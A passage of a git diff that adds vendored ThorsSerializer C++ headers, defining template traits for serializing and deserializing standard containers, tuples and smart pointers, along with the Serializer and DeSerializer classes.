"GetValueType", + "Expecting a normal value after the key"); + } + parser.getValue(value); + } +}; + +/* ------------------------------- PutValueType ------------------------------- */ +/* + * Used to put a values onto a stream. + * A normal value is put directly onto the stream (via the printer object). + * A compound type Map/Array is printed to the stream using a Serializer. + */ +template::type> +class PutValueType +{ + Serializer serializer; + public: + PutValueType(PrinterInterface& printer) + : serializer(printer, false) + {} + void putValue(V const& value) + { + serializer.print(value); + } +}; + +template +class PutValueType +{ + PrinterInterface& printer; + public: + PutValueType(PrinterInterface& printer) + : printer(printer) + {} + + void putValue(V const& value) + { + printer.addValue(value); + } +}; + +/* ------------------------------- MemberInserter ------------------------------- */ +/* + * Defines how a value is inserted into a container. + * Overloaded for each container type (no generic definition) + */ +template +class MemberInserter; +template +class MemberEmplacer; + +/* ------------------------------- ContainerMemberExtractor ------------------------------- */ +/* + * A generic contain manipulator class + * + * The operator()(printer) prints all the values in the container using PutValueType class. + * The PutValueType will call the printer directly for value types but recursively use + * the Serializer class for Map/Array types. + * + * The operator()(parser) reads a single value from the parser and puts it in the container + * using the GetValueType class. The GetValueType will call the parser directly for value types + * but recursively use the DeSerializer class for Map/Array types. + * + * Note each container has differences in the insert technique thus we use a MemberInserter + * object to do the inserting of values after they have been read. The class attempts to do this + * using move semantics. + */ +template +class ContainerMemberExtractorInserter +{ + public: + constexpr ContainerMemberExtractorInserter() {} + void operator()(PrinterInterface& printer, C const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + valuePutter.putValue(loop); + } + } + void operator()(ParserInterface& parser, std::size_t const& index, C& object) const + { + V data{}; + GetValueType valueGetter(parser, data); + + MemberInserter inserter(object); + inserter.add(index, std::move(data)); + } +}; +template +class ContainerMemberExtractorEmplacer +{ + public: + constexpr ContainerMemberExtractorEmplacer() {} + void operator()(PrinterInterface& printer, C const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + valuePutter.putValue(loop); + } + } + void operator()(ParserInterface& parser, std::size_t const& index, C& object) const + { + MemberEmplacer extractor(object); + V& data = extractor.get(index); + GetValueType valueGetter(parser, data); + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class Traits> +{ + public: + static constexpr TraitType type = TraitType::Map; + using Self = std::pair; + + using Members = std::tuple< REP_N(THOR_TYPEACTION, 00, Self, first, second, 1) >; + + static Members const& getMembers() + { + static constexpr Members members{ REP_N(THOR_VALUEACTION, 00, Self, first, second, 1) }; + return members; + } + static std::size_t getPrintSize(PrinterInterface& printer, std::pair const& object, bool) + { + return printer.getSizeMap(2) + + std::strlen("first") + + std::strlen("second") + + Traits::type>::getPrintSize(printer, object.first, false) + + Traits::type>::getPrintSize(printer, object.second, false); + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::initializer_list& container; + public: + MemberInserter(std::initializer_list& container) + : container(container) + {} + void add(std::size_t const& , T&& ) + { + //static_assert(false, "Can not de-serialize and initializer list"); + } +}; + +template +class Traits>: public ArrayLike, T> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberEmplacer> +{ + std::array& container; + public: + MemberEmplacer(std::array& container) + : container(container) + {} + T& get(std::size_t const& index) + { + return container[index]; + } +}; + +template +class Traits>: public ArrayLike, T> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorEmplacer>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberEmplacer> +{ + std::list& container; + public: + MemberEmplacer(std::list& container) + : container(container) + {} + T& get(std::size_t const&) + { + container.emplace_back(); + return container.back(); + } +}; + +template +class Traits>: public ArrayLike, T> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorEmplacer>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberEmplacer> +{ + std::vector& container; + public: + MemberEmplacer(std::vector& container) + : container(container) + {} + T& get(std::size_t const&) + { + container.emplace_back(); + return container.back(); + } +}; +template +class Traits>: public ArrayLike, T> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorEmplacer>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +template +class MemberInserter> +{ + std::vector& container; + public: + MemberInserter(std::vector& container) + : container(container) + {} + void add(std::size_t const&, bool value) + { + container.push_back(value); + } +}; +template +class Traits>: public ArrayLike, bool> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberEmplacer> +{ + std::deque& container; + public: + MemberEmplacer(std::deque& container) + : container(container) + {} + T& get(std::size_t const&) + { + container.emplace_back(); + return container.back(); + } +}; + +template +class Traits>: public ArrayLike, T> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorEmplacer>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::set& container; + public: + MemberInserter(std::set& container) + : container(container) + {} + void add(std::size_t const&, Key&& value) + { + container.insert(std::forward(value)); + } +}; + +template +class Traits>: public ArrayLike, Key> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::unordered_set& container; + public: + MemberInserter(std::unordered_set& container) + : container(container) + {} + void add(std::size_t const&, Key&& value) + { + container.insert(std::forward(value)); + } +}; + +template +class Traits>: public ArrayLike, Key> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::multiset& container; + public: + MemberInserter(std::multiset& container) + : container(container) + {} + void add(std::size_t const&, Key&& value) + { + container.insert(std::forward(value)); + } +}; + +template +class Traits>: public ArrayLike, Key> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::unordered_multiset& container; + public: + MemberInserter(std::unordered_multiset& container) + : container(container) + {} + void add(std::size_t const&, Key&& value) + { + container.insert(std::forward(value)); + } +}; + +template +class Traits>: public ArrayLike, Key> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::map& container; + public: + MemberInserter(std::map& container) + : container(container) + {} + void add(std::size_t const&, std::pair&& value) + { + container.insert(std::forward>(value)); + } +}; + +template +class Traits>: public ArrayLike, typename std::map::value_type> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter, std::pair>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* + * std::map<> we use a specialization when the key is a std::string. + * This allows maps that have string keys to be represented directly by Json Map objects. + */ +template +class Traits>: public MapLike, Value> +{ + public: + static constexpr TraitType type = TraitType::Map; + + class MemberExtractor + { + public: + constexpr MemberExtractor(){} + void operator()(PrinterInterface& printer, std::map const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + printer.addKey(loop.first); + valuePutter.putValue(loop.second); + } + } + void operator()(ParserInterface& parser, std::string const& key, std::map& object) const + { + Value& data = object[key]; + GetValueType valueGetter(parser, data); + } + }; + + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::unordered_map& container; + public: + MemberInserter(std::unordered_map& container) + : container(container) + {} + void add(std::size_t const&, std::pair&& value) + { + container.insert(std::forward>(value)); + } +}; + +template +class Traits>: public ArrayLike, typename std::unordered_map::value_type> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter, std::pair>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* + * std::unordered_map<> we use a specialization when the key is a std::string. + * This allows unordered_maps that have string keys to be represented directly by Json Map objects. + */ +template +class Traits>: public MapLike, Value> +{ + public: + static constexpr TraitType type = TraitType::Map; + + class MemberExtractor + { + public: + constexpr MemberExtractor(){} + void operator()(PrinterInterface& printer, std::unordered_map const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + printer.addKey(loop.first); + valuePutter.putValue(loop.second); + } + } + void operator()(ParserInterface& parser, std::string const& key, std::unordered_map& object) const + { + Value data{}; + GetValueType valueGetter(parser, data); + object.insert(std::make_pair(std::move(key), std::move(data))); + } + }; + + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::unordered_multimap& container; + public: + MemberInserter(std::unordered_multimap& container) + : container(container) + {} + void add(std::size_t const&, std::pair&& value) + { + container.insert(std::forward>(value)); + } +}; + +template +class Traits>: public ArrayLike, typename std::unordered_multimap::value_type> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter, std::pair>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +template +class Traits>: public MapLike, Value> +{ + public: + static constexpr TraitType type = TraitType::Map; + + class MemberExtractor + { + public: + constexpr MemberExtractor(){} + void operator()(PrinterInterface& printer, std::unordered_multimap const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + printer.addKey(loop.first); + valuePutter.putValue(loop.second); + } + } + void operator()(ParserInterface& parser, std::string const& key, std::unordered_multimap& object) const + { + Value data{}; + GetValueType valueGetter(parser, data); + object.insert(std::make_pair(std::move(key), std::move(data))); + } + }; + + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ +template +class MemberInserter> +{ + std::multimap& container; + public: + MemberInserter(std::multimap& container) + : container(container) + {} + void add(std::size_t const&, std::pair&& value) + { + container.insert(std::forward>(value)); + } +}; + +template +class Traits>: public ArrayLike, typename std::multimap::value_type> +{ + public: + static constexpr TraitType type = TraitType::Array; + using MemberExtractor = ContainerMemberExtractorInserter, std::pair>; + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +template +class Traits>: public MapLike, Value> +{ + public: + static constexpr TraitType type = TraitType::Map; + + class MemberExtractor + { + public: + constexpr MemberExtractor(){} + void operator()(PrinterInterface& printer, std::multimap const& object) const + { + PutValueType valuePutter(printer); + for (auto const& loop: object) + { + printer.addKey(loop.first); + valuePutter.putValue(loop.second); + } + } + void operator()(ParserInterface& parser, std::string const& key, std::multimap& object) const + { + Value data{}; + GetValueType valueGetter(parser, data); + object.insert(std::make_pair(std::move(key), std::move(data))); + } + }; + + static MemberExtractor const& getMembers() + { + static constexpr MemberExtractor memberExtractor; + return memberExtractor; + } +}; + +/* ------------------------------- Traits> ------------------------------- */ + +/* + * This is the object that parses/prints data from/to the stream + */ +template +class ContainerTuppleExtractor +{ + using C = std::tuple; + + template + void printTupleValue(PrinterInterface& printer, C const& object) const + { + PutValueType valuePutter(printer); + valuePutter.putValue(std::get(object)); + } + template + void printTupleValues(PrinterInterface& printer, C const& object, std::index_sequence const&) const + { + auto discard = {(printTupleValue>(printer, object),1)...}; + (void)discard; + } + template + void parseTupleValue(ParserInterface& parser, C& object) const + { + V& data(std::get(object)); + GetValueType valueGetter(parser, data); + } + template + void parseTupleValues(ParserInterface& parser, std::size_t const& id, C& object, std::index_sequence const&) const + { + using MemberDecoder = decltype(&ContainerTuppleExtractor::parseTupleValue<0, typename std::tuple_element_t<0, C>>); + static std::initializer_list parseTuppleValue = {&ContainerTuppleExtractor::parseTupleValue>...}; + auto iteratorToFunction = parseTuppleValue.begin() + id; + auto function = *iteratorToFunction; + (this->*function)(parser, object); + } + public: + constexpr ContainerTuppleExtractor() {} + void operator()(PrinterInterface& printer, C const& object) const + { + printTupleValues(printer, object, std::make_index_sequence()); + } + void operator()(ParserInterface& parser, std::size_t const& index, C& object) const + { + parseTupleValues(parser, index, object, std::make_index_sequence()); + } +}; + +/* + * A traits class for tupple that uses the above ContainerTuppleExtractor + */ +template +class Traits> +{ + public: + static constexpr TraitType type = TraitType::Array; + + static ContainerTuppleExtractor const& getMembers() + { + static constexpr ContainerTuppleExtractor members; + return members; + } + + template + static std::size_t getPrintSizeElement(PrinterInterface& printer, E const& object) + { + return Traits::getPrintSize(printer, object, false); + } + + template + static std::size_t getPrintSizeAllElement(PrinterInterface& printer, std::tuple const& object, std::index_sequence const&) + { + auto parts = {std::size_t(0), getPrintSizeElement(printer, std::get(object))...}; + std::size_t result = 0; + for (auto value: parts) {result += value;} + return result; + } + static std::size_t getPrintSize(PrinterInterface& printer, std::tuple const& object, bool) + { + std::size_t result = printer.getSizeArray(sizeof...(Args)); + result += getPrintSizeAllElement(printer, object, std::make_index_sequence()); + return result; + } +}; + + +template +struct BaseTypeGetter> +{ + using type = typename std::unique_ptr::element_type; +}; +template +class Traits> +{ + public: + static constexpr TraitType type = TraitType::Pointer; + static std::unique_ptr alloc() {return std::make_unique();} + static void release(std::unique_ptr& p) {p.reset();} + static std::size_t getPrintSize(PrinterInterface& printer, std::unique_ptr const& object, bool) + { + if (object) + { + return Traits::getPrintSize(printer, *object, true); + } + return printer.getSizeNull(); + } +}; + +template +struct BaseTypeGetter> +{ + using type = typename std::shared_ptr::element_type; +}; +template +class Traits> +{ + public: + static constexpr TraitType type = TraitType::Pointer; + static std::shared_ptr alloc() {return std::make_shared();} + static void release(std::shared_ptr& p) {p.reset();} + static std::size_t getPrintSize(PrinterInterface& printer, std::shared_ptr const& object, bool) + { + if (object) + { + return Traits::getPrintSize(printer, *object, true); + } + return printer.getSizeNull(); + } +}; + + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/Serialize.h b/Extern/include/ThorsSerializer/Serialize.h new file mode 100644 index 0000000..a875710 --- /dev/null +++ b/Extern/include/ThorsSerializer/Serialize.h @@ -0,0 +1,311 @@ +#ifndef THORS_ANVIL_SERIALIZE_SERIALIZE_H +#define THORS_ANVIL_SERIALIZE_SERIALIZE_H + +/* + * This is the guts of the serialization code. + * + * It uses template meta programming to generate the appropriate code to + * serialize a type T. Thus most of the code required is generated at compile + * time (there is a small run time overhead for Json/Yaml and a smaller + * overhead for Binary). + * + * The type ThorsAnvil::Serialize::Traits is used to generate the code to + * serialize an object of type T. If there is not specializations of the + * Traits for the type T the default version will generate a compile time + * error (with hopefully a useful message). + * + * The code is Symetrical for Serialization and DeSerialization + * + * Serialization DeSerialization Description + * ======================= ======================= =========================== + * PrinterInterface ParserInterface Implemented by a particular format. + * The Printer is passed a set of Open/Close/Values + * The Parser generates a set of Open/Close/Values + * Serializer DeSerializer The base class the calls the Printer/Parser + * Serializer will print an object by generating the + * appropriate calls to the Printer based on the shape + * of the object. Deserializer ask the parser for a + * sequence of events from the input stream and converts + * these into updates on the object. + * SerializeMember DeSerializeMember Generated (at compile time) from the Traits information + * for each member that needs to be printed/parsed + */ + +#include "Traits.h" +//#include "ThorsIOUtil/Utility.h" +//#include "ThorsLogging/ThorsLogging.h" +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + + +template +T scanValue(char const* buffer, char** end); + +template<> inline short int scanValue(char const* buffer, char** end) {return std::strtol(buffer, end, 10);} +template<> inline int scanValue(char const* buffer, char** end) {return std::strtol(buffer, end, 10);} +template<> inline long int scanValue(char const* buffer, char** end) {return std::strtol(buffer, end, 10);} +template<> inline long long int scanValue(char const* buffer, char** end) {return std::strtoll(buffer, end, 10);} + +template<> inline unsigned short int scanValue(char const* buffer, char** end) {return std::strtoul(buffer, end, 10);} +template<> inline unsigned int scanValue(char const* buffer, char** end) {return std::strtoul(buffer, end, 10);} +template<> inline unsigned long int scanValue(char const* buffer, char** end) {return std::strtoul(buffer, end, 10);} +template<> inline unsigned long long int scanValue(char const* buffer, char** end) {return std::strtoull(buffer, end, 10);} + +template<> inline float scanValue(char const* buffer, char** end) {return std::strtof(buffer, end);} +template<> inline double scanValue(char const* buffer, char** end) {return std::strtod(buffer, end);} +template<> inline long double scanValue(char const* buffer, char** end) {return std::strtold(buffer, end);} + +class Serializer; +class DeSerializer; + +template +class ApplyActionToParent +{ + public: + // Default do nothing. + void printParentMembers(Serializer&, T const&) {} + bool scanParentMember(DeSerializer&, I const&, T&) {return false;} +}; + +template +class DeSerializeMemberContainer +{ + public: + DeSerializeMemberContainer(DeSerializer&, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo); + explicit operator bool() const {return used;} + private: + bool used = false; +}; + +template +class DeSerializeMemberValue +{ + public: + DeSerializeMemberValue(DeSerializer& parent, ParserInterface& parser, std::string const& key, T& object, std::pair const& memberInfo); + DeSerializeMemberValue(DeSerializer& parent, ParserInterface& parser, std::string const& key, T&, std::pair const& memberInfo); + explicit operator bool() const {return used;} + private: + bool used = false; + void init(DeSerializer& parent, ParserInterface& parser, std::string const& key, char const* name, M& object); +}; + +class DeSerializer +{ + using ParserToken = ParserInterface::ParserToken; + ParserInterface& parser; + bool root; + + template + bool scanEachMember(std::string const& key, T& object, Members const& member, std::index_sequence const&); + + template + bool scanMembers(std::string const& key, T& object, std::tuple const& members); + + template + bool scanMembers(I const& key, T& object, Action action); + public: + DeSerializer(ParserInterface& parser, bool root = true); + ~DeSerializer() noexcept(false); + + template + void parse(T& object); + + template + bool scanObjectMembers(I const& key, T& object); +}; + +template +class SerializeMemberContainer +{ + public: + SerializeMemberContainer(Serializer&, PrinterInterface& printer, T const& object, std::pair const& memberInfo); +}; + +template +class SerializeMemberValue +{ + public: + SerializeMemberValue(Serializer& parent, PrinterInterface& printer, T const& object, std::pair const& memberInfo); + SerializeMemberValue(Serializer& parent, PrinterInterface& printer, T const&, std::pair const& memberInfo); + private: + void init(Serializer& parent, PrinterInterface& printer, char const* member, M const& object); +}; + +class Serializer +{ + PrinterInterface& printer; + bool root; + + template + void printEachMember(T const& object, Members const& member, std::index_sequence const&); + + template + void printMembers(T const& object, std::tuple const& members); + + template + void printMembers(T const& object, Action action); + + public: + Serializer(PrinterInterface& printer, bool root = true); + ~Serializer(); + + template + void print(T const& object); + + template + void printObjectMembers(T const& object); + + bool isRoot() const {return root;} +}; +/* ------------ BaseTypeGetter Gets base type of pointer ------------------------- */ +template +struct BaseTypeGetter +{ + // Done this way so smart pointers can specialize + using type = typename std::remove_pointer

::type; +}; + +/* ------------ MetaTraits for Serialization/DeSerialization ------------------------- */ + +template +struct TraitsInfo; + +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberContainer; + using SerializeMember = SerializeMemberContainer; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberContainer; + using SerializeMember = SerializeMemberContainer; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberContainer; + using SerializeMember = SerializeMemberContainer; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberValue; + using SerializeMember = SerializeMemberValue; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberValue; + using SerializeMember = SerializeMemberValue; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberValue; + using SerializeMember = SerializeMemberValue; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberValue; + using SerializeMember = SerializeMemberValue; +}; +template +struct TraitsInfo +{ + using DeSerializeMember = DeSerializeMemberValue; + using SerializeMember = SerializeMemberValue; +}; + +/* ------------ ParserInterface ------------------------- */ +inline ParserInterface::ParserToken ParserInterface::getToken() +{ + ParserToken result = ParserToken::Error; + + if (pushBack != ParserToken::Error) + { + std::swap(pushBack, result); + } + else + { + result = this->getNextToken(); + } + return result; +} +inline void ParserInterface::pushBackToken(ParserToken token) +{ + if (pushBack != ParserToken::Error) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::ParserInterface", + "pushBackToken", + "Push only allows for single push back. More than one token has been pushed back between reads."); + } + pushBack = token; +} +/* ------------ DeSerializer ------------------------- */ + +inline DeSerializer::DeSerializer(ParserInterface& parser, bool root) + : parser(parser) + , root(root) +{ + if (root) + { + // Note: + // Note: all "root" elements are going to have a DocStart/DocEnd pair + // Just the outer set. So that is something that we will need to deal with + // + // Note: We also need to take care of arrays at the top level + // We will get that in the next version + if (parser.getToken() != ParserToken::DocStart) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializer", + "DeSerializer", + "Invalid Doc Start"); + } + } +} +inline DeSerializer::~DeSerializer() noexcept(false) +{ + if (root) + { + if (parser.getToken() != ParserToken::DocEnd) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializer", + "~DeSerializer", + "Expected Doc End"); + } + } +} + +/* ------------ Serializer ------------------------- */ + +inline Serializer::Serializer(PrinterInterface& printer, bool root) + : printer(printer) + , root(root) +{ + if (root) + { + printer.openDoc(); + } +} +inline Serializer::~Serializer() +{ + if (root) + { + printer.closeDoc(); + } +} + + } +} + +#include "Serialize.tpp" + +#endif diff --git a/Extern/include/ThorsSerializer/Serialize.tpp b/Extern/include/ThorsSerializer/Serialize.tpp new file mode 100644 index 0000000..3a5d020 --- /dev/null +++ b/Extern/include/ThorsSerializer/Serialize.tpp @@ -0,0 +1,943 @@ +#ifndef THORS_ANVIL_SERIALIZE_SERIALIZE_TPP +#define THORS_ANVIL_SERIALIZE_SERIALIZE_TPP + +#include "SerUtil.h" +#include "ThorsSerializerUtil.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include +#include +#include + + +namespace ThorsAnvil +{ + namespace Serialize + { + +/* ------------ ApplyActionToParent ------------------------- */ +template +class ApplyActionToAllParent +{ + public: + void printParentMembers(Serializer& serializer, T const& object) + { + serializer.printObjectMembers(static_cast

(object)); + } + bool scanParentMember(DeSerializer& deSerializer, I const& key, T& object) + { + return deSerializer.scanObjectMembers(key, static_cast(object)); + } +}; +template +class ApplyActionToAllParent, T, I> +{ + public: + void printParentMembers(Serializer& serializer, T const& object) + { + bool ignore[] {true, (serializer.printObjectMembers(static_cast(object)), true)...}; + (void)ignore; + } + bool scanParentMember(DeSerializer& deSerializer, I const& key, T& object) + { + /* + * See if the key is valid in one parent + * Note: If it is valid in multiple parents we will probably get an exception + * as each parent will try and read the value. + */ + bool result[] = {false, deSerializer.scanObjectMembers(key, static_cast(object))...}; + return std::find(std::begin(result) , std::end(result), true) != std::end(result); + } +}; + +template +class ApplyActionToParent +{ + ApplyActionToAllParent::Parent, T, I> parentAction; + public: + void printParentMembers(Serializer& serializer, T const& object) + { + parentAction.printParentMembers(serializer, object); + } + bool scanParentMember(DeSerializer& deSerializer, I const& key, T& object) + { + return parentAction.scanParentMember(deSerializer, key, object); + } +}; +/* ------------------- HeedAllValues ---------------------------- */ +template +struct HeedAllValues; + +template +typename std::enable_if::value>::type +heedAllParentMembers(std::map const& /*membersound*/) +{} + +template +typename std::enable_if::value>::type +heedAllParentMembers(std::map const& membersFound) +{ + HeedAllValues::Parent> heedParent; + heedParent(membersFound); +} + +template +struct HeedAllValues +{ + template + int checkAMember(std::map const& membersFound, std::pair const& member) + { + if (membersFound.find(member.first) == std::end(membersFound)) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::HeedAllValues", + "checkAMember" + "Did not fine: ", member.first); + } + return 0; + } + + template + void checkEachMember(std::map const& membersFound, Tuple const& tuple, std::index_sequence const&) + { + std::initializer_list ignore{1, checkAMember(membersFound, std::get(tuple))...}; + (void)ignore; + heedAllParentMembers(membersFound); + } + + template + void checkMemberFound(std::map const& membersFound, std::tuple const& args) + { + checkEachMember(membersFound, args, std::index_sequence_for{}); + } + + void operator()(std::map const& membersFound) + { + checkMemberFound(membersFound, Traits::getMembers()); + } +}; +template +struct HeedAllValues> +{ + template + void checkEachParent(ParentTupple& parentsToHeed, std::map const& membersFound, std::index_sequence const&) + { + bool ignore[] = {true, (std::get(parentsToHeed)(membersFound), true)...}; + (void)ignore; + } + void operator()(std::map const& membersFound) + { + std::tuple...> parentsToHeed; + checkEachParent(parentsToHeed, membersFound, std::index_sequence_for{}); + } +}; + +template +struct HeedAllValues> +{ + void operator()(std::map const& /*members*/) {} +}; +template +struct HeedAllValues> +{ + void operator()(std::map const& /*members*/) {} +}; +template +struct HeedAllValues> +{ + void operator()(std::map const& /*members*/) {} +}; +template +struct HeedAllValues> +{ + void operator()(std::map const& /*members*/) {} +}; + +/* ------------ DeSerializationForBlock ------------------------- */ + +/* + * The default Block is a mapping of "Map" to "Object" + * We expect an OpenMap followed by a set of Key/Value pairs followed by CloseMap + */ +template +class DeSerializationForBlock +{ + static_assert( + traitType != TraitType::Invalid, + "Invalid Serialize TraitType. This usually means you have not define ThorsAnvil::Serialize::Traits" + ); + DeSerializer& parent; + ParserInterface& parser; + std::string key; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + + if (tokenType != ParserInterface::ParserToken::MapStart) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object Start"); + } + } + + void scanObject(T& object) + { + std::map memberFound; + while (hasMoreValue()) + { + if (!parent.scanObjectMembers(key, object)) + { + parser.ignoreValue(); + } + else + { + memberFound[key] = true; + } + } + if (parser.config.parseStrictness == ParserInterface::ParseType::Exact) + { + HeedAllValues check; + check(memberFound); + } + } + bool hasMoreValue() + { + ParserInterface::ParserToken tokenType = parser.getToken(); + bool result = tokenType != ParserInterface::ParserToken::MapEnd; + if (result) + { + if (tokenType != ParserInterface::ParserToken::Key) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "hasMoreValue", + "Expecting key token"); + } + key = parser.getKey(); + } + + return result; + } +}; + +/* + * Specialization for Value. + * This is only used at the top level. + * There is no open or close. Just a single value is expected. + */ +template +class DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + {} + void scanObject(T& object) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object"); + } + parser.getValue(object); + } +}; +template +class [[deprecated("This is caused by suing the ThorsAnvil_MakeTraitCustom macro. This is a bit hacky as it simply drops data into the stream. Please upgrade to ThorsAnvil_SelfSerialize as this allows custom behavior depending on the underlying format Json/Yaml/Bson")]] +DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + {} + void scanObject(T& object) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object"); + } + std::stringstream valueStream(parser.getRawValue()); + valueStream >> object; + } +}; +template +class DeSerializationForBlock +{ + DeSerializer& parent; + ParserInterface& parser; + public: + DeSerializationForBlock(DeSerializer& parent, ParserInterface& parser) + : parent(parent) + , parser(parser) + {} + void scanObject(T& object) + { + ParserInterface::ParserToken tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::DeSerializationForBlock", + "DeSerializationForBlock", + "Invalid Object"); + } + using SerializingType = typename Traits::SerializingType; + SerializingType info; + info.readCustom(parser, object); + } +}; + + +/* ------------ tryParsePolyMorphicObject Serializer ------------------------- */ +template +struct ConvertPointer +{ + static T* assign(T* result) + { + return result; + } +}; +template +struct ConvertPointer> +{ + static std::unique_ptr assign(T* result) + { + return std::unique_ptr{result}; + } +}; +template +auto tryParsePolyMorphicObject(DeSerializer& parent, ParserInterface& parser, T& object, int) -> decltype(object->parsePolyMorphicObject(parent, parser), void()) +{ + ParserInterface::ParserToken tokenType; + tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::MapStart) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "tryParsePolyMorphicObject", + "Invalid Object. Expecting MapStart"); + } + + tokenType = parser.getToken(); + if (tokenType != ParserInterface::ParserToken::Key) + { + ThorsLogAndThrow("ThorsAnvil::Serialize", + "tryParsePolyMorphicObject", + "Invalid Object. Expecting 